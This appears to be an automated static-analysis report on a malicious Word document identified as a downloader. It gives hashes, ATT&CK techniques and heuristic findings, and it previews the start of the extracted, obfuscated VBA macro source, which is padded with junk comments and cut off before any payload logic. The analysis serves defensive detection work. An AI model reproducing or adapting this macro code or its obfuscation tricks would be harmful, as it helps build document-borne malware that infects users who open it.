Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a48f47be32ce372a…

MALICIOUS

Office (OLE)

292.7 KB Created: 2019-10-17 13:44:00 Authoring application: Microsoft Office Word First seen: 2020-09-24
MD5: ada81328e29e0188ed85f399f50aee19 SHA-1: b4374bed72a9c131a9f76ff2739885ddec2ea333 SHA-256: a48f47be32ce372a72a0b0e078e3048cf9ecb65c1601569b7bc211c1f94bddb2
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Obfuscate Malicious Code

The sample contains obfuscated VBA macros, including an AutoOpen function, which is a common technique for executing malicious code upon opening the document. The presence of CreateObject and execution sink indicators suggests the macro is designed to download and execute a second-stage payload. ClamAV detection further supports its malicious nature as a downloader.

Heuristics 8

  • ClamAV: Doc.Downloader.Sagent-7342472-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-7342472-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 125571 bytes
SHA-256: 38bc28b282930f6c44485df0dc13446f312db000de4f6017890098401d14e5aa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Wdyihczguiih"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Cmdhkejfo, 0, 0, MSForms, CommandButton"
Attribute VB_Control = "Auczkknnvc, 1, 1, MSForms, CommandButton"
Attribute VB_Control = "Kbftbifnthqb, 2, 2, MSForms, CommandButton"
Attribute VB_Control = "Yubnrezih, 3, 3, MSForms, CommandButton"
Attribute VB_Control = "Fzxjcqamyejd, 4, 4, MSForms, CommandButton"
Attribute VB_Control = "Mnzzmmkypyg, 5, 5, MSForms, CommandButton"
Attribute VB_Control = "Zxsxpfxcaslji, 6, 6, MSForms, CommandButton"
Attribute VB_Control = "Qprxoqukrwv, 7, 7, MSForms, CommandButton"
Attribute VB_Control = "Jdkaczrcmosbz, 8, 8, MSForms, CommandButton"
Attribute VB_Control = "Kogabsmtw, 9, 9, MSForms, CommandButton"

Attribute VB_Name = "Srzecafa"
Function Ijzthjfj()
On Error Resume Next
   'Smitham, Bosco and AdamsSuite 122East Medhurst - GoyetteApt. 082Southeast Hyatt, Bradtke and BechtelarApt. 002Southwest Zemlak GroupApt. 708West
'Mayert - FraneckiApt. 266East Ledner, Gorczany and WillSuite 011West Schmidt GroupSuite 670Northwest Von, Gaylord and GaylordSuite 853Southeast
Xicnowbc = 60209 'Frami - WilliamsonSuite 574Southeast Maggio LLCApt. 028Southeast
'Lockman, Green and BeahanSuite 981Northeast Satterfield - JacobiSuite 967Northeast Ondricka GroupApt. 760West Herman, Dickens and HermanApt. 863West
'Herman, Emmerich and HauckApt. 347East Waelchi IncSuite 499Southeast McLaughlin, Zulauf and O'KonApt. 816Southwest Nikolaus - SchowalterApt. 510Northeast
'Bailey LLCApt. 024North'Goodwin LLCApt. 024West Macejkovic - DaughertyApt. 992West
'Stracke - BernierApt. 764North Brekke, Rolfson and RyanSuite 058North Gutmann - OndrickaApt. 583Northeast Lind and SonsApt. 296West
Diyqluhijz = "Krajcik - GleasonSuite 840Northeast" 'Kovacek - PollichApt. 674Southeast Little - WindlerSuite 636Southwest
'Hamill - MacGyverSuite 591Southwest Spencer, Kulas and BoyleApt. 031North Marks - MacejkovicSuite 736Southeast Tillman, Wuckert and WalkerSuite 889South
Egqaefmvzb = 63846 'Wuckert - JerdeApt. 743Northwest Schimmel and SonsApt. 551Southeast
'Grimes - SchummApt. 069Southwest Prosacco, Bradtke and ConnApt. 996East Hoppe, Jenkins and ReichertApt. 512East Mitchell - HermistonApt. 338North
Fbxlopwce = "Opera/12.60 (Windows NT 5.2; U; NL Presto/2.9.186 Version/10.00)" 'MacGyver IncSuite 200West Botsford and SonsApt. 628Northwest
'Pouros IncSuite 147Northwest Upton, Conroy and HalvorsonSuite 337South Pollich, Kassulke and LefflerApt. 633South Kunde, Schoen and ZiemannSuite 176South
'Gerhold - BogisichSuite 883North Swift LLCSuite 976Southwest Metz, Howe and CollierSuite 073Southeast Effertz - SwiftSuite 395Southwest
'Sanford and SonsApt. 985East Harber and SonsSuite 387East Shanahan LLCApt. 535Northeast Cole, Ebert and NitzscheSuite 199East
'Simonis, Walsh and ConnellySuite 778North Rath - GislasonSuite 474Northwest MacGyver, Hettinger and BuckridgeApt. 619Northeast Morar, Ward and MooreApt. 353West
   'Stroman IncApt. 185Northeast Stroman, Fisher and VandervortSuite 428West Macejkovic - BrekkeSuite 171East Cronin, Towne and HuelApt. 364North
'Lubowitz, Mosciski and HeaneyApt. 557Southwest Reinger LLCApt. 177Northwest Ankunding and SonsSuite 918South Olson LLCApt. 255Northeast
Pjpxhybeo = Hywxwcwnbrjkf 'Reichert - OsinskiApt. 090Northeast Ernser, Hyatt and KleinSuite 691Northwest
'Gutkowski, Pagac and CollinsApt. 847North Tillman GroupSuite 671North Klein - BashirianSuite 619Northwest Powlowski, Rodriguez and KeelingSuite 565Northeast
'Friesen - StrosinApt. 192West Paucek, Collier and RueckerApt. 562West Lesch IncApt. 116West Brown - OndrickaApt. 362South
Xvjlfzvlku = Oaamafgtzpr 'Carroll LLCApt. 755Southeast Nitzsche and SonsSuite 951East
'Hamill LLCApt. 343North Von LLCSuite 516Southwest Koelpin, Effertz and KrajcikApt. 964Southwest Barton - KuphalSuite 850North
Rem Customer193 Gui
... (truncated)